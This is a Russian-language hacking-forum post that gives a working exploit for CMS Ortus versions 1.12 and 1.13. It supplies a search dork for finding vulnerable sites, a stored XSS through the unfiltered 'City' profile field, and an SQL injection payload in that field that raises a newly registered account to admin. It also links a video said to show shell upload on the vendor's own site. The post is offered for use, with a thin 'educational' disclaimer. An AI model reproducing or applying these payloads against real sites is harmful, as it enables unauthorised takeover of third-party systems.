otmorozok428 said:
↑
На днях занимался исследованием
CMS Ortus
. Нашёл серьёзную уязвимость, заодно подучил латынь. Теперь, знаю что Ortus по латыни означает "рассвет". Короче, век живи - век учись, как говорил Цицерон
Сайт вендора: http://ortus.nirn.ru
Уязвимые версии: 1.12, 1.13
Гуглится так: inurl:index.php?ortupg=
Уязвимость присутствует в формах добавления пользователя и редактирования профиля, в поле
"City"
.
Рассмотрим по порядку:
1. Зарегистрируем нового пользователя
Код HTML:
HTML:
http://www.site.com/index.php?mod=users_add
Данные из POST-формы будут помещены в следующий SQL-запрос
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"]INSERT INTO ortus_users SET id_user[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]NULL[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]name[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'pupkin'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]login[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'pupkin'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]psw[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]md5[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'12345'[/COLOR][COLOR="#007700"]), `[/COLOR][COLOR="#DD0000"]group[/COLOR][COLOR="#007700"]` =[/COLOR][COLOR="#DD0000"]'user'[/COLOR][COLOR="#007700"], `[/COLOR][COLOR="#DD0000"]city[/COLOR][COLOR="#007700"]` =[/COLOR][COLOR="#DD0000"]'Moscow'[/COLOR][COLOR="#007700"], `[/COLOR][COLOR="#DD0000"]info[/COLOR][COLOR="#007700"]` =[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"], `[/COLOR][COLOR="#DD0000"]email[/COLOR][COLOR="#007700"]` =[/COLOR][COLOR="#DD0000"]'pupkin@zade.com'[/COLOR][COLOR="#007700"], `[/COLOR][COLOR="#DD0000"]reg_date[/COLOR][COLOR="#007700"]` =[/COLOR][COLOR="#0000BB"]NOW[/COLOR][COLOR="#007700"](), `[/COLOR][COLOR="#DD0000"]activated[/COLOR][COLOR="#007700"]` =[/COLOR][COLOR="#DD0000"]'no'[/COLOR][COLOR="#007700"], `[/COLOR][COLOR="#DD0000"]subscribe[/COLOR][COLOR="#007700"]` =[/COLOR][COLOR="#DD0000"]'yes'[/COLOR][/COLOR]
А поскольку параметр
"City"
не фильтруется, можно пробовать изменять запрос под свои нужды. Правда, максимум, что мне удалось выжать из данной формы - это активную XSS после вставки в поле
"City"
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]alert[/COLOR][COLOR="#007700"]()[/COLOR][COLOR="#0000BB"][/COLOR][/COLOR]
что в принципе тоже достаточно нефигово, но идём дальше...
2. Аутентифицируемся на сайте
Код HTML:
HTML:
http://www.site.com/index.php?mod=auth
3. Редактируем профиль пользователя
Код HTML:
HTML:
http://www.site.com/index.php?mod=users_edit_pub
Обновление профиля пользователя производится запросом
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"]UPDATE ortus_users SET[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]name[/COLOR][COLOR="#007700"]` =[/COLOR][COLOR="#DD0000"]'pupkin'[/COLOR][COLOR="#007700"], `[/COLOR][COLOR="#DD0000"]info[/COLOR][COLOR="#007700"]` =[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"], `[/COLOR][COLOR="#DD0000"]city[/COLOR][COLOR="#007700"]` =[/COLOR][COLOR="#DD0000"]'Moscow'[/COLOR][COLOR="#007700"], `[/COLOR][COLOR="#DD0000"]email[/COLOR][COLOR="#007700"]` =[/COLOR][COLOR="#DD0000"]'pupkin@zade.com'[/COLOR][COLOR="#007700"], `[/COLOR][COLOR="#DD0000"]subscribe[/COLOR][COLOR="#007700"]` =[/COLOR][COLOR="#DD0000"]'yes'[/COLOR][COLOR="#0000BB"]WHERE id_user[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]7[/COLOR][/COLOR]
Мы можем видоизменить данный запрос вставив
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"]MyCity[/COLOR][COLOR="#DD0000"]', `group`='[/COLOR][COLOR="#0000BB"]admin[/COLOR][/COLOR]
в поле
"City"
. То есть наш запрос стал выглядеть так
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"]UPDATE ortus_users SET[/COLOR][COLOR="#007700"]`[/COLOR][COLOR="#DD0000"]name[/COLOR][COLOR="#007700"]` =[/COLOR][COLOR="#DD0000"]'pupkin'[/COLOR][COLOR="#007700"], `[/COLOR][COLOR="#DD0000"]info[/COLOR][COLOR="#007700"]` =[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"], `[/COLOR][COLOR="#DD0000"]city[/COLOR][COLOR="#007700"]` =[/COLOR][COLOR="#DD0000"]'MyCity'[/COLOR][COLOR="#007700"], `[/COLOR][COLOR="#DD0000"]group[/COLOR][COLOR="#007700"]`=[/COLOR][COLOR="#DD0000"]'admin'[/COLOR][COLOR="#007700"], `[/COLOR][COLOR="#DD0000"]email[/COLOR][COLOR="#007700"]` =[/COLOR][COLOR="#DD0000"]'pupkin@zade.com'[/COLOR][COLOR="#007700"], `[/COLOR][COLOR="#DD0000"]subscribe[/COLOR][COLOR="#007700"]` =[/COLOR][COLOR="#DD0000"]'yes'[/COLOR][COLOR="#0000BB"]WHERE id_user[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]7[/COLOR][/COLOR]
Пользователь
pupkin
был членом группы
user
, а стал членом группы
admin
. Убедиться в этом можно посмотрев список пользователей
Код HTML:
HTML:
http://www.site.com/index.php?mod=users_list_pub
4. Видео-урок
Видео-урок показывает практическую эксплуатацию данной уязвимости + не упомянутый выше вопрос заливки шелла. Демонстрация уязвимости производится на примере официального сайта
CMS Ortus
. Особо хочу отметить, что видео носит исключительно образовательный характер и никаких деструктивных действий на сайте не производилось. За косяки третьих лиц автор ответственности не несёт! Само видео льём отсюда:
http://depositfiles.com/files/h8sbwikey